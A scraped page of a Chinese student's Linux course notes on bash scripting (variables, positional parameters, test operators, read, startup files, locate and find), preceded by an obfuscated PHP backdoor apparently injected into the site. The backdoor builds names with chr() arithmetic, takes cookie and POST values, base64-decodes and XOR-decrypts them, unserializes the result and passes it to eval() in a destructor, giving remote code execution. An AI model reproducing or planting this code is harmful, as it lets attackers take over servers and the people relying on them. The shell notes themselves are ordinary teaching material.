$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} linux第三周 | Linux运维部落

linux第三周

总结

shell脚本如果前面的命令错误不影响后面的命令执行
shell脚本如果前面的语法错误(syntax error),后续的命令不会执行。不影响语法前的命令
bash -n file  检查语法错误,不检查命令错误
bash -x file  跟踪脚本运行情况。
[root@CENTOS7 ~]#name=”mage”变量的赋值  , 当为name赋新的值时,新值存放在新的地址中
[root@CENTOS7 ~]#echo $name
mage
name=”wang renbing”可以运行
name=wang renbing   renbing会被当做命令,执行报错
[root@CENTOS7 ~]#name=`hostname` 赋值命令时需要加“,不然会被当成字符串
[root@CENTOS7 ~]#echo $name
CENTOS7.localdomain
[root@CENTOS7 ~]#name=`cat /etc/fstab`  能赋值但是会使显示格式改变。解决方法:ehco “$name” ,可以保留显示格式
[root@CENTOS7 ~]#echo $name
# # /etc/fstab # Created by anaconda on Tue Mar 27 17:53:47 2018 # # Accessible filesystems, by reference, are maintained under ‘/dev/disk’ # See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info # UUID=0a1bc23e-06e5-4210-9b32-0edbff09ca1a / xfs defaults 0 0 UUID=4d8d9214-eeed-4758-8c34-f05492b9ea73 /boot xfs defaults 0 0 UUID=fb669d84-551f-4a70-a11e-f61deec0fd86 /data xfs defaults 0 0 UUID=906330a5-2af1-4bf4-8b2d-9337eaf92250 swap swap defaults 0 0
[root@CENTOS7 ~]#name=mage  变量可以用变量赋值
[root@CENTOS7 ~]#name1=wang
[root@CENTOS7 ~]#name2=$name
[root@CENTOS7 ~]#echo $name2
mage
[root@CENTOS7 ~]#name=zhang   从新给name赋值,不会影响name2
[root@CENTOS7 ~]#echo $name2
mage
bash不支持浮点数(小数),赋值是不用考虑赋值类型,可以直接赋值。都当做字符串来赋值
[root@CENTOS7 ~]#type if  在shell中关键字不可以当做变量名
if is a shell keyword   ,命令最好不要用容易混淆,不可以数字开头,最好变量名能见名知意
student_name
StudentName 大驼峰
studentName 小驼峰
bash中变量种类
普通变量 只能在自己的session(会话,窗口)中使用,不能再子进程中使用,子进程再次给name赋值不影响父进程
[root@CENTOS7 ~]#bash    再开一个bash
[root@CENTOS7 ~]#echo $$  子shell
10064
[root@CENTOS7 ~]#echo $PPID 父shell
5021
[root@CENTOS7 ~]#pstree -p    查看父子进程
bash(5021)───bash(10064)─
bash后台执行,sleep 100前台执行
全局变量 父进程可以传给子进程,子进程不能传给父进程
expotr name=”mage”
declare -x naem=”mage”
[root@CENTOS7 ~]#name=”mage”
[root@CENTOS7 ~]#export name  定义全局变量
[root@CENTOS7 ~]#echo $name
mage
[root@CENTOS7 ~]#echo $$
5021
[root@CENTOS7 ~]#bash
[root@CENTOS7 ~]#echo $$
10385
[root@CENTOS7 ~]#
[root@CENTOS7 ~]#echo $name
mage
[root@CENTOS7 ~]#name=”wang”
[root@CENTOS7 ~]#echo $name
wang
[root@CENTOS7 ~]#exit
exit
[root@CENTOS7 ~]#echo $name
mage
export和declare -x和env 查看全局变量
exit可以删除变量
unset name删除变量
set 可以查看所有变量(局部全部都显示)还可以显示函数
hostname 主机名
ifconfig ens33 网址
cat /etc/centos-release centos版本
uname -r 内核版本
lscpu    cpu型号
free -h或者 cat /proc/meminfo  查看内存大小
lsblk   查看硬盘大小
ehco “start backup”
sleep 2
cp -av /etc/ /root/etc`date +%F`
echo “backup is finished”
echo $SHLVL shell的嵌套深度
ehco $_ 执行上一个命令最后一个参数
readonly name 只读变量 是能声明但是不能修改和删除
declare – r
查看只读变量 readonly -p
[root@CENTOS7 data]#echo $LANG
en_US.UTF-8
[root@CENTOS7 data]#readonly name=”mage”  定义变量name只读
[root@CENTOS7 data]#echo $name
mage
[root@CENTOS7 data]#name=”wang”
-bash: name: readonly variable
unset name 无法删除  exit可以删除
declare -r 或者readonly -p查看常量
()一次性的
[root@CENTOS7 ~]#(cd /data;rm -rf /data/*)
[root@CENTOS7 ~]#ls /data
[root@CENTOS7 ~]#(umask 666;touch /data/f1)
[root@CENTOS7 ~]#umask
0022
[root@CENTOS7 ~]#ll /data/f1
———-. 1 root root 0 Apr  9 22:44 /data/f1
[root@CENTOS7 ~]#(name=”wang”;echo $name)
wang
[root@CENTOS7 ~]#echo $name
{}影响现在的shell
[root@CENTOS7 ~]#{ name=mage; echo $name; }
mage
[root@CENTOS7 ~]#echo $name
mage
()在当前进程下开辟出一个小空间,()外面会影响()里面,()里面不会影响()外面
[root@CENTOS7 ~]#x=1;echo “pid=$$”;(echo “subpid=$$”;echo “sunx=$x”;x=2;echo “subx2=$x”);echo x=$x
pid=2423
subpid=2423
sunx=1
subx2=2
x=1
#********************************************************************
echo “1st arg is $1”
echo “2st arg is $2”
echo “3st arg is $s”
echo “all arg is $*”
echo “all arg is $@”
echo “the args number is $#”
echo “the script name is `basename $0`”
[root@CENTOS7 ~]#bash /data/arg.sh 111 222 333
1st arg is 111
2st arg is 222
3st arg is 333
all arg is 111 222 333
all arg is 111 222 333
the args number is 3
the script name is arg.sh
[root@CENTOS7 ~]#bash /data/arg.sh 111 222 333 444
1st arg is 111
2st arg is 222
3st arg is 333
all arg is 111 222 333 444
all arg is 111 222 333 444
the args number is 4
the script name is arg.sh
echo “1st arg is $1”
echo “2st arg is $2”
echo “3st arg is $3”
echo “9st arg is $9”
echo “10st arg is ${10}”  当数字达到2位数以上是需要{数字}
echo “all arg is $*”
echo “all arg is $@”
echo “the args number is $#”
echo “the script name is `basename $0`”
~
~
“/data/arg.sh” 20L, 562C written
[root@CENTOS7 ~]#bash /data/arg.sh a b c d e f i g k l m n
1st arg is a
2st arg is b
3st arg is c
9st arg is k
10st arg is l
all arg is a b c d e f i g k l m n
echo magedu | passwd –stdin wang  修改王账号密码
vim scp.sh
echo “start coyp ….”
scp $* wang@172.20.102.77:/home/wang/bin
echo “copy is finished”
~
~
scp.sh scp.sh  将scp.sh远程复制到该IP的/home/wang/bin下
echo “all the args is $*”
./f2.sh “$*”     需要+””,不然没有区别
echo “The 1st arg is $1”
[root@CENTOS7 data]#./f1.sh 11 22 33
all the args is 11 22 33
The 1st arg is 11 22 33
$* 和$@的不同之处,$*中的字符串被当做一个整体,$@识别每一个独立字符串
echo “all the args is $*”
./f2.sh “$@”      需要+””,不然没有区别
echo “The 1st arg is $1”
[root@CENTOS7 data]#./f1.sh 11 22 33
all the args is 11 22 33
The 1st arg is 11
#********************************************************************
echo “all the args is $*”
set —        清空所有位置参数
./f2.sh “$@”
[root@CENTOS7 data]#./f1.sh 1122 33 33 44
all the args is 1122 33 33 44
The 1st arg is
$0,当创建软连接的时候会显示软连接的路径,根据这种情况可以创建多个软连接来实现不同的执行结果
[root@CENTOS7 data]#ln -s arg.sh link.sh
[root@CENTOS7 data]#ll
lrwxrwxrwx. 1 root root   6 Apr 10 09:27 link.sh -> arg.sh
[root@CENTOS7 data]#bash ./link.sh
1st arg is
2st arg is
3st arg is
9st arg is
10st arg is
all arg is
all arg is
the args number is 0
the script name is link.sh
pidof 是killall5的软连接,但是两个命令的执行结果并不一样
shift  用处 ,将位置参数依次向前执行
echo “The 1st arg is $1”
shift
echo “The 1st arg is $1”
shift
echo “The 1st arg is $1”
“f2.sh” 16L, 428C written
[root@CENTOS7 data]#./f2.sh 11 22 33
The 1st arg is 11
The 1st arg is 22
The 1st arg is 33
echo “The 1st arg is $1”
shift
echo “The 1st arg is $1”
shift 2                 一次移动多个
echo “The 1st arg is $1”
[root@CENTOS7 data]#./f2.sh 11 22 33 44
The 1st arg is 11
The 1st arg is 22
The 1st arg is 44
[root@CENTOS7 data]#grep -q root /etc/passwd  静默模式
[root@CENTOS7 data]#echo $?   , $?如果是0找到不是0没找到。$?的值时(0-255)之间。在脚本中之现实$?上一条命令的结果
0
ping -c1 172.20.0.1 ping一次
[root@CENTOS7 data]#ping -c1 127.20.0.1
PING 127.20.0.1 (127.20.0.1) 56(84) bytes of data.
64 bytes from 127.20.0.1: icmp_seq=1 ttl=64 time=0.034 ms
ls
exit 10    可以自己定义$?返回的值
[root@CENTOS7 data]#bash ./f3.sh
arg.sh f1  f1.sh  f2.sh  f3.sh  link.sh
[root@CENTOS7 data]#echo $?
10
[root@CENTOS7 data]#x=10
[root@CENTOS7 data]#y=20
[root@CENTOS7 data]#let z=$x+$y   可以不加$
[root@CENTOS7 data]#echo $z
30
[root@CENTOS7 data]#let z=x*y   和z=$[x+y]或z=$((x+y))或declare -i 或 (expr x + y)。let和(expr)用*时需要转义
[root@CENTOS7 data]#echo $z
200
[root@CENTOS7 data]#let z=x/y
[root@CENTOS7 data]#echo $z
0
[root@CENTOS7 data]#let z=y/x
[root@CENTOS7 data]#echo $z
2
[root@CENTOS7 data]#let x++     x++和++x一样
[root@CENTOS7 data]#echo $x
11
[root@CENTOS7 data]#let x+=3
[root@CENTOS7 data]#echo $x
14
[root@CENTOS7 data]#let x–
[root@CENTOS7 data]#echo $x
13
[root@CENTOS7 data]#n=$[RANDOM%7+31];echo -e “\e[1;${n}mcolor\e[0m”
color              随机颜色的color
[root@CENTOS7 data]#expr 3 + 4
7
[root@CENTOS7 data]#expr 3 \* 4   乘的时候需要转义
12
[root@CENTOS7 data]#expr 6 / 3
2
0&0=0   &并且  and
0&1=0
1&0=0
1&1=1
0|0=0  | 或者 or
0|1=1
1|0=1
1|1=1
断路与||  结果同上
短路或&&  结果同shang
cmd1 && cmd2
如果cmd1为假cmd2不执行
若果cmd1为真cmd2执行
cmd1 || cmd2
如果cmd1为假cmd2执行
如果cmd1为真cmd2不执行
0^1=1     异或
0^0=0
1^0=1
1^1=0
a=2,b=3,let c=a^b echo $c  1    对位二进制异或(10)(11)
Last login: Tue Apr 10 09:07:13 CST 2018 on pts/0
[root@CENTOS7 ~]#a=6
[root@CENTOS7 ~]#b=4
[root@CENTOS7 ~]#let a=a^b;let b=a^b; let a=a^b; echo $a $b
4 6
1、编写脚本/root/bin/sumid.sh,计算/etc/passwd文件中的第10个用户和第
20用户的ID之和
[root@CENTOS7 ~]#a=`cat /etc/passwd |head |tail -n1|cut -d “:” -f3`
[root@CENTOS7 ~]#echo $a
11
[root@CENTOS7 ~]#b=`cat /etc/passwd |head -n20|tail -n1|cut -d “:” -f3`
[root@CENTOS7 ~]#let c=a+b
[root@CENTOS7 ~]#echo $c
1008
test
[root@CENTOS7 ~]#test $str1 = $str2  ,与[ $str1 = $str2 ]相同。 判断两个字符串是否一样
[root@CENTOS7 ~]#echo $?
0
[root@CENTOS7 ~]#[ -z $nima ]  -z 判断字符串是否为空。-z (zero)
[root@CENTOS7 ~]#echo $?
0
[root@CENTOS7 ~]#[ $nima ]    -n可以省略不写,判断字符串是否非空
[root@CENTOS7 ~]#echo $?
0
[root@CENTOS7 ~]#a=nnn;b=nnn;[ $a = $b ] && echo “equal” || echo “no equal”  比较字符串
equal
[root@CENTOS7 ~]#
[root@CENTOS7 ~]#a=nnn;b=nnsn;[ $a = $b ] && echo “equal” || echo “no equal”
no equal
[root@CENTOS7 ~]#a=10;b=10; [ $a -eq $b ] && echo “equal” || echo “no equal” 数字相等用-eq
equal
[root@CENTOS7 ~]#a=10;b=15; [ $a -eq $b ] && echo “equal” || echo “no equal”
no equal
diskfree=`df | tr -s ” ” “%” | cut -d “%” -f5 |sort -n | head -n1`
[ $diskfree -ge 80 ]&&echo “wall disk will be full”||echo “wall disk will not full”
[root@CENTOS7 ~]#bash ./ff.sh
wall disk will not full
diskfree=`df | tr -s ” ” “%” | cut -d “%” -f5 |sort -n | head -n1`
diskfree=80
[ $diskfree -ge 80 ]&&echo “wall disk will be full”||echo “wall disk will not full”
[root@CENTOS7 ~]#bash ./ff.sh
wall disk will be full
#********************************************************************
[ $# -ne 2 ]&&echo “arg number is 2″&&exit
[[ ! “$1” =~ ^[0-9]+$ ]]&&echo “$1 not digit”&&exit
[[ ! “$2” =~ ^[0-9]+$ ]]&&echo “$2 not digit”&&exit
uid1=`head -n$1 /etc/passwd | tail -n1|cut -d: -f3`
uid2=`head -n$2 /etc/passwd | tail -n1|cut -d: -f3`
echo sumuid=$[ $uid1 + $uid2 ]
[root@CENTOS7 data]#bash ./sumuid.sh 10 20
sumuid=1008
[root@CENTOS7 data]#bash ./sumuid.sh 10
arg number is 2
[root@CENTOS7 data]#bash ./sumuid.sh 10 a
a not digit
[root@CENTOS7 data]#bash ./sumuid.sh a 10
a not digit
[root@CENTOS7 data]#bash ./sumuid.sh 5 15
sumuid=85
[root@CENTOS7 data]#file=a.ch
[root@CENTOS7 data]#[[ $file =~ ..*\.sh$ ]]&& echo “sh” ||echo “notsh”    =~后面跟正则表达式,左侧和右侧匹配
notsh
[root@CENTOS7 data]#file=bahfsh.sh
[root@CENTOS7 data]#[[ $file =~ ..*\.sh$ ]]&& echo “sh” ||echo “notsh”
sh
[root@CENTOS7 data]#[ -d /etc ]&&echo ture    -d判断是不是文件夹,如果软连接指向文件夹也会显示为ture
ture
[root@CENTOS7 data]#[ -d /etc/passwd ]&&echo ture
[root@CENTOS7 data]#[ -d /etc/passwd ]&&echo ture||echo notture
notture
[root@CENTOS7 data]#[ -L /bin ]&&echo rure ||echo notture  -L判断是不是软连接
rure
[root@CENTOS7 data]#[ -L /etc ]&&echo rure ||echo notture
notture
[root@CENTOS7 data]#[ -w /etc/passwd ]&& echo “ture” || echo “false”  -w判断的是用户的实际写权限
ture
[root@CENTOS7 data]#ll /etc/passwd
-rw-r–r–. 1 root root 2174 Apr  5 14:07 /etc/passwd
[root@CENTOS7 data]#[ -x /etc/passwd ]&& echo “ture” || echo “false”  -x执行权限
false
id $1 &> /dev/null
[ $? -eq 0 ] &&echo user is exist&&exit
useradd $1
echo “magedu” |passwd –stdin $1
[root@CENTOS7 data]#bash ./username.sh wang
user is exist
[root@CENTOS7 data]#bash ./username.sh xixx
Changing password for user xixx.
passwd: all authentication tokens updated successfully.
需要加()或者{}
[root@CENTOS7 data]#true || echo cmd1 ; echo cmd2
cmd2
[root@CENTOS7 data]#false || echo cmd1 ; echo cmd2
cmd1
cmd2
[root@CENTOS7 data]#false || (echo cmd1 ; echo cmd2)
cmd1
cmd2
[root@CENTOS7 data]#true || (echo cmd1 ; echo cmd2)
()和{}的区别
[root@CENTOS7 data]#false || { echo cmd1 ; exit; }
cmd1
logout
[root@CENTOS7 data]#false || (echo cmd1 ; exit)
cmd1
expotr f10=a.sh  必须定义全局变量才能被shell程序调用
[[ ${f10} =~ .+\.sh$ ]] && echo sh || echo no
[wang@CENTOS7 ~]$[ -r /etc/passwd -a -w /home/wang/f1 ]&&echo can ||echo cannot   -a 并且
can
[wang@CENTOS7 ~]$[ -r /etc/passwd -a -w /etc/passwd ]&&echo can ||echo cannot
cannot
[wang@CENTOS7 ~]$[ -r /etc/passwd -o -w /home/f1 ]&&echo can ||echo cannot        -o 或者
can
[wang@CENTOS7 ~]$[ -v vat ] && echo set   -v查看是否被赋值
[wang@CENTOS7 ~]$vat=11
[wang@CENTOS7 ~]$[ -v vat ] && echo set
set
[[]]支持扩展的正则表达式
判断一个字符串是否为空
[root@CENTOS7 bin]#[ “x$n123” = “x” ] && echo “yes”
yes
[root@CENTOS7 bin]#[ “x$n123” = “x” ] && echo “yes” || echo “no”
no
touch /etc/nologin 就会禁止用户登录
read -p “please input your name:” name  -p “”现实””里的字符串
read -s -p “please input your passwd:” passwd -s 静默模式
echo your name is $name
echo your passwd is $passwd
“read.sh” 15L, 480C written
[root@CENTOS7 bin]#read.sh
please input your name:wang
please input your passwd:your name is wang
your passwd is magedu
[root@CENTOS7 bin]#read -n 3 name  -n限制输入的字符数
123[root@CENTOS7 bin]#echo $name
123
[root@CENTOS7 bin]#read -d a name  -d a 看到a就退出输入
4564789a[root@CENTOS7 bin]#echo $name
4564789
[root@CENTOS7 bin]#read -t 6 name  -t限定输入时间如果超时则$name为空
鸡兔同笼 头35 脚94
read -p “please input how many heads:” head
read -p “please input how many foots:” foot
let rabbit=($foot-2\*$head)/2
let chook=$head-$rabbit
echo “chook is $chook”
echo “rabbit is $rabbit”
“headfoot.sh” 17L, 537C written
[root@CENTOS7 bin]#headfoot.sh
please input how many heads:35
please input how many foots:94
chook is 23
rabbit is 12
脚本里不能放置别名
echo $$查看当前进程号
[root@CENTOS7 ~]#cmd=”hostname”
[root@CENTOS7 ~]#echo $cmd
hostname
[root@CENTOS7 ~]#$cmd
CENTOS7.localdomain
[[ == ]]后面加通配符*代表任意一个字符串
* 匹配零个或多个字符
?? 匹配任何单个字符
?~ 当前用户家目录
?~mage 用户mage家目录
?~+ 当前工作目录
?~- 前一个工作目录
?[0-9] 匹配数字范围
?[a-z]:字母
?[A-Z]:字母
?[wang] 匹配列表中的任何的一个字符
?[^wang] 匹配列表中的所有字符以外的字符
read一次赋值多个变量的方法
[root@CENTOS7 ~]#echo a b c >f1
[root@CENTOS7 ~]#read x y z <f1
[root@CENTOS7 ~]#echo $x
a
[root@CENTOS7 ~]#echo $y
b
[root@CENTOS7 ~]#echo $z
c
[root@CENTOS7 ~]#read x y z <<< “1 2 3”
[root@CENTOS7 ~]#echo $x
1
[root@CENTOS7 ~]#echo $y
2
[root@CENTOS7 ~]#echo $z
3
yes or no
read -p “do you agree,yes or no:” ans
[[ $ans =~ ^([Yy]([Ee][Ss])?)$ ]]&&echo “your answer is yes”&&exit
[[ $ans =~ ^([Nn][Oo]?)$ ]]&&echo “your answer is no”&&exit
[[ ! $ans =~ (^([Yy]([Ee][Ss])?)$ | ^([Nn][Oo]?)$) ]]&&echo “please inpur yes or no”
按生效范围划分,存在两类:
?全局配置:
/etc/profile
/etc/profile.d/*.sh
/etc/bashrc
?个人配置:
~/.bash_profile  里面放的是变量和用户特定环境和启动程序
~/.bashrc(bash run command)   里面放的是alias
交互式登录:
(1)直接通过终端输入账号密码登录
(2)使用“su – UserName” 切换的用户
执行顺序:/etc/profile –> /etc/profile.d/*.sh –> ~/.bash_profile –>
~/.bashrc –> /etc/bashrc
?非交互式登录:
(1)su UserName
(2)图形界面下打开的终端
(3)执行脚本
(4)任何其它的bash实例
执行顺序: ~/.bashrc –> /etc/bashrc –> /etc/profile.d/*.sh
配置文件用. 或者source 是在当前shell运行而不是开启子进程。脚本里的内容会影响当前shell环境
在普通的脚本中不支持别名,在脚本中定义别名也不好用.
.bash_logout  退出时想要执行的命令。创建自动备份 清除临时文件
$-
[root@CENTOS7 ~]#echo $-
himBH
himBH中,h代表hash set+h set-h开启关闭
i代表是否是交互式的,在脚本中不显示。
m代表监控
B代表大括号展开
H代表history
vim /etc/issue  在登录前显示   或者/etc/motd
hi,anggerous
bash如何展开命令行
把命令行分成单个命令词
展开别名
展开大括号的声明({})
展开波浪符声明(~)
命令替换$() 和 “)
再次把命令行分成命令词
展开文件通配(*、?、[abc]等等)
准备I/0重导向(<、>)
运行命令
.vimrc文件不是bash文件所以不需要. .vimrc,当运行vim时会自动读取此文件
locate 搜索索引型搜索,需要更新数据库才能找到
数据库开机事会自动更新。
[root@CENTOS7 ~]#ll /var/lib/mlocate/mlocate.db
-rw-r—–. 1 root slocate 2567142 Apr 12 09:16 /var/lib/mlocate/mlocate.db
touch 11.sh
locate 11.sh 找不到文件是是因为数据库没有更新
updaredb     手工更新数据库后就可以找到刚刚创建的文件了
[root@CENTOS7 ~]#locate 11.sh
/root/11.sh
locate
-i  不区分大小写
-n  取匹配的前几行
-r  使用正则表达式
[root@CENTOS7 ~]#locate -r “^/etc/.*\.conf$”  搜索/etc/下的所有.conf结尾的文件
find
[root@CENTOS7 ~]#find /etc/ -name passwd  找到etc文件夹下的passwd
/etc/pam.d/passwd
/etc/passwd
[root@CENTOS7 ~]#find /etc/ -maxdepth 1 -name passwd   第一层
/etc/passwd
find ~/ -maxdepth 1 = ls -1 -a
[root@CENTOS7 ~]#find /etc/ -maxdepth 2 -name passwd
/etc/pam.d/passwd
/etc/passwd
[root@CENTOS7 ~]#find /data/ -maxdepth 1 -name f1
/data/f1
[root@CENTOS7 ~]#find /data/ -maxdepth 2 -name f1
/data/f1
/data/d1/f1
[root@CENTOS7 ~]#find /data/ -maxdepth 3 -name f1
/data/f1
/data/d1/d2/f1
/data/d1/f1
[root@CENTOS7 ~]#find /data/ -maxdepth 4 -name f1
/data/f1
/data/d1/d2/d3/f1
/data/d1/d2/f1
/data/d1/f1
[root@CENTOS7 ~]#find /data/ -mindepth 3 -maxdepth 4 -name f1
/data/d1/d2/d3/f1
/data/d1/d2/f1
[root@CENTOS7 ~]#find /data/ -mindepth 4 -maxdepth 4 -name f1   只显示第4层
/data/d1/d2/d3/f1
find -name f1 是精确搜索,模糊搜索需要”*f1*”
[root@CENTOS7 ~]#find -name “*f1*”
./bin/f10.sh
./f1
./f11
find / -inum 30  -inum,搜索节点编号。显示节点编号命令 ,ll -i
/sys/bus/platform/drivers_autoprobe
[root@CENTOS7 data]#ln arg.sh arg
[root@CENTOS7 data]#find -samefile arg    搜索节点编号相同的文件,就是搜索硬链接
./arg.sh
./arg
[root@CENTOS7 data]#find -links 2   搜索链接数是2的文件
./arg.sh
./d1/d2/d3
./arg
[root@CENTOS7 data]#find /etc/ -regex “.*\.conf$”  搜索etc下的所有已.conf结尾的文件
[root@CENTOS7 ~]#find /home/ -user wang   搜索home下的wang拥有的所有文件
[root@CENTOS7 ~]#find /home/ -user wang -ls  搜索同上并显示文件详细信息
[root@CENTOS7 ~]#find /home -user wang -name “*.sh”  home下wang用户的所有已.sh后缀的文件
/home/wang/68_scp.sh
[root@CENTOS7 ~]#find /home -nouser -group lele -ls  搜索没有拥有者但是组时lele的文件
[root@CENTOS7 ~]#find /home/ -nouser -ls -o -nogroup -ls  = find /home/ \( -nouser -o -nogroup \) -ls  当用户和所属组都能找到时需要每个命令后都加-ls
[root@CENTOS7 ~]#find /home -maxdepth 1 -type d     只搜索home下第一层文件夹
/home
/home/wang
/home/xixi
/home/f1
/home/f2
/home/f3
/home/gentoo
/home/lele
/home/mage
/home/gir
/home/git
/home/xixx
/home/xxxxxxxx
/home/yyyyyyyyyyyyyy
[root@CENTOS7 ~]#find /data/ -empty   搜索data下的空文件
/data/f1
/data/d1/d2/d3/f1
/data/d1/d2/f1
/data/d1/f1
/data/d1f1
[root@CENTOS7 ~]#find /data/ -empty -type f -ls      搜索data下的普通空文件
    67    0 ———-   1 root     root            0 Apr 12 13:03 /data/f1
33592097    0 -rw-r–r–   1 root     root            0 Apr 12 13:03 /data/d1/d2/d3/f1
16781761    0 -rw-r–r–   1 root     root            0 Apr 12 13:03 /data/d1/d2/f1
    78    0 -rw-r–r–   1 root     root            0 Apr 12 13:03 /data/d1/f1
    77    0 -rw-r–r–   1 root     root            0 Apr 12 13:03 /data/d1f1
[root@CENTOS7 ~]#find /data/ ! -empty -type d -ls    搜索data下的非空文件夹
    64    0 drwxr-xr-x   3 root     root          168 Apr 12 13:29 /data/
    72    0 drwxr-xr-x   3 root     root           26 Apr 12 13:03 /data/d1
16781760    0 drwxr-xr-x   3 root     root           26 Apr 12 13:03 /data/d1/d2
33592096    0 drwxr-xr-x   2 root     root           16 Apr 12 13:03 /data/d1/d2/d3
[root@CENTOS7 ~]#find /data/ ! -empty ! -type d -ls   搜索data下的非空非文件夹的文件
    71   12 -rw-r–r–   1 root     root        12288 Apr  7 19:07 /data/.f1.swp
    70    4 -rw-r–r–   2 root     root          562 Apr  9 23:36 /data/arg.sh
    69    4 -rwxr-xr-x   1 root     root          387 Apr 10 09:23 /data/f1.sh
    68    0 lrwxrwxrwx   1 root     root            6 Apr 10 09:27 /data/link.sh -> arg.sh
    73    4 -rwxr-xr-x   1 root     root          430 Apr 10 09:44 /data/f2.sh
    74    4 -rw-r–r–   1 root     root          353 Apr 10 09:58 /data/f3.sh
    75    4 -rw-r–r–   1 root     root          628 Apr 10 13:54 /data/sumuid.sh
    76    4 -rw-r–r–   1 root     root          450 Apr 10 14:51 /data/username.sh
    70    4 -rw-r–r–   2 root     root          562 Apr  9 23:36 /data/arg
德摩根定律
(非 A) 或 (非 B) = 非(A 且 B)
(非 A) 且 (非 B) = 非(A 或 B)
find /etc/ -path “/etc/sane.d” -a -prune -o -name “*.conf”   搜索排除/etc/sane.d剩下的.conf结尾的文件
find /etc/ \( -path “/etc/libreport” -o -path “/etc/sane.d” \) -a -prune -o -name “*.conf”
搜索既不是/etc/libreport也不是”/etc/sane.d”中的其他已.conf结尾的文件
[root@CENTOS7 data]#dd if=/dev/zero of=/data/f11 bs=1 count=1023   创建大文件或者固定大小的文件
1023+0 records in
1023+0 records out
1023 bytes (1.0 kB) copied, 0.00218562 s, 468 kB/s
[root@CENTOS7 data]#dd if=/dev/zero of=/data/f12 bs=1 count=1024
1024+0 records in
1024+0 records out
1024 bytes (1.0 kB) copied, 0.00232464 s, 440 kB/s
./f12
[root@CENTOS7 data]#find -size 1k -ls
    64    0 drwxr-xr-x   3 root     root          190 Apr 12 15:16 .
    70    4 -rw-r–r–   2 root     root          562 Apr  9 23:36 ./arg.sh
    69    4 -rwxr-xr-x   1 root     root          387 Apr 10 09:23 ./f1.sh
    68    0 lrwxrwxrwx   1 root     root            6 Apr 10 09:27 ./link.sh -> arg.sh
    73    4 -rwxr-xr-x   1 root     root          430 Apr 10 09:44 ./f2.sh
    74    4 -rw-r–r–   1 root     root          353 Apr 10 09:58 ./f3.sh
    75    4 -rw-r–r–   1 root     root          628 Apr 10 13:54 ./sumuid.sh
    76    4 -rw-r–r–   1 root     root          450 Apr 10 14:51 ./username.sh
    72    0 drwxr-xr-x   3 root     root           26 Apr 12 13:03 ./d1
16781760    0 drwxr-xr-x   3 root     root           26 Apr 12 13:03 ./d1/d2
33592096    0 drwxr-xr-x   2 root     root           16 Apr 12 13:03 ./d1/d2/d3
    70    4 -rw-r–r–   2 root     root          562 Apr  9 23:36 ./arg
    79    4 -rw-r–r–   1 root     root         1023 Apr 12 15:14 ./f11
    80    4 -rw-r–r–   1 root     root         1024 Apr 12 15:16 ./f12
[root@CENTOS7 data]#find -size 1024c -ls
    80    4 -rw-r–r–   1 root     root         1024 Apr 12 15:16 ./f12
[root@CENTOS7 data]#find -size -1024c  代表[0-1023]
[root@CENTOS7 data]#find -size +1024c  代表(1024-无穷大]
[root@CENTOS7 data]#useradd shagua
[root@CENTOS7 data]#find /etc/ -mmin -1  搜索1分钟以内修改过的文件
/etc/
/etc/group
/etc/gshadow
/etc/passwd
/etc/shadow
[root@CENTOS7 data]#userdel -r shagua
[root@CENTOS7 data]#find /etc/ -mmin -1
/etc/
/etc/group
/etc/gshadow
/etc/passwd
/etc/shadow
[root@CENTOS7 data]#find -perm /666 -ls    3个权限有一个是6就行
    64    0 drwxr-xr-x   3 root     root          190 Apr 12 15:16 .
    71   12 -rw-r–r–   1 root     root        12288 Apr  7 19:07 ./.f1.swp
    70    4 -rw-r–r–   2 root     root          562 Apr  9 23:36 ./arg.sh
    69    4 -rwxr-xr-x   1 root     root          387 Apr 10 09:23 ./f1.sh
    68    0 lrwxrwxrwx   1 root     root            6 Apr 10 09:27 ./link.sh -> arg.sh
    73    4 -rwxr-xr-x   1 root     root          430 Apr 10 09:44 ./f2.sh
    74    4 -rw-r–r–   1 root     root          353 Apr 10 09:58 ./f3.sh
    75    4 -rw-r–r–   1 root     root          628 Apr 10 13:54 ./sumuid.sh
    76    4 -rw-r–r–   1 root     root          450 Apr 10 14:51 ./username.sh
    72    0 drwxr-xr-x   3 root     root           26 Apr 12 13:03 ./d1
16781760    0 drwxr-xr-x   3 root     root           26 Apr 12 13:03 ./d1/d2
